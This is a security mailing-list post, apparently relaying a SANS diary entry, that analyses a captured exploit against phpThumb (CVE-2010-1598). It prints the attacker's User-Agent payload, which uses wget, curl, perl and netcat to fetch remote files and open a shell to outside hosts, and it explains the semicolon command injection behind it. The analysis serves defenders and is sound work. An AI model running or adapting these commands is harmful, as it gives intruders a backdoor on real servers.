Hi G33Ks,
@SANS
This topic has come up before, but it is probably worthwhile noting that of
course, any data provided by the user can be used against a web
application, not just proper "POST" and "GET" data. For example, we had a
couple readers point us to a recent blog post in http headers [1] and how
many web application vulnerability scanners miss them.
Another reader (Thanks Ovi!) sent us an interesting example "hiding" the
exploit in the browser's user agent field. The exploit is directed at the
infamous "phpThumb" tool, and again, isn't new (see for example the post by
Spiderlabs [2]). The vulnerability was discovered originally in 2010 and
assigned CVE-2010-1598. The bug wasn't fixed until about a year ago when
version 1.7.10 of phpThumb was released [3].
Let's take a quick look at the "mechanics" of this exploit and the
vulnerability. First of all, the exploit's User Agent: (I formatted it for
readability, but the "pel" command, which IMHO is a typo, came from the
original.
<!--?system('cd /var/tmp;
wget http://xyz.244.68.88/cb.jpg;
perl cb.jpg xyz.103.68.73 8004;
wget http://xyz.244.68.88/cback;
pel cback;
cd /dev/shm;
curl -O http://xyz.244.68.88/cb.jpg;
perl cb.jpg xyz.103.68.73 8004;
netcat xyz.103.68.73 8004;
curl -O http://xyz.244.68.88/cback;
perl cback;nc xx.103.68.73 8004');
?-->[... second attempt in same user agent omitted ...]
Googlebot/2.1 (+http://www.google.com/bot.html)
In essence, the script appears to install some for of backdoor. The
original servers the exploit connected to is no longer accepting requests,
so we couldn't test it. The script uses wget as well as curl to download
the file in case one of these scripts is not installed.
Now here comes the interesting part: The "User Agent" is actually not used
by phpThumb. Instead, the actual exploit happens in the POST data (which is
why you are still seeing the POST method used. However, the POST data is
somewhat validated, not allowing it to contain the full exploit script.
Instead, the function executed by the "POST" method will then refer to the
HTTP_USER_AGENT environment variable, and pull its content and execute it.
Some of the other discussions of this bug are missing this important
aspects of this exploit.
Here is a quick outline of the code, and what went wrong:
First of all, the "fltr" parameter is parsed. Multiple filters may be
provided, but for the purpose of this exploit, one is all it takes. Each
filter contains a command, and a parameter. They are delimited by a pipe
("|").
@list($command, $parameter) = explode('|', $filtercommand, 2);
Later, the command line is assembled, without any additional checks on the
parameter. For example:
$commandline .= ' -modulate 100,'.(100 - $parameter).',100';
Finally, the command line is executed:
$IMresult = phpthumb_functions::SafeExec($commandline);
Dont' get your hopes up based on the name of the function ("SafeExec"). Its
main purpose is to figure out which one of the various ways of code
execution are allowed.
The only hurdle the attacker has to overcome is to create an exploit that
will first run the ImageMagick command successfully, then append the
malicious command with a semicolon. The semicolon is never filtered. Many
of these exploits don't even bother with the additional user agent
obfuscation. The "googlebot" part of the header is likely only included to
sneak past weak web application firewall configurations that may ignore
traffic from Google (the IP address this exploit came from is not
associated with Google).
References:
[1] http://resources.infosecinstitute.com/sql-injection-http-headers/
[2]
http://blog.spiderlabs.com/2011/12/honeypot-alert-user-agent-field-arbitrary-php-code-execution.html
[3] http://phpthumb.sourceforge.net/demo/docs/phpthumb.changelog.txt
Cheers,
0xN41K
--
You received this message because you are subscribed to the Google Groups
"nforceit" group.
To post to this group, send an email to [email protected].
To unsubscribe from this group, send email to
[email protected].
For more options, visit this group at
http://groups.google.com/group/nforceit?hl=en-GB.
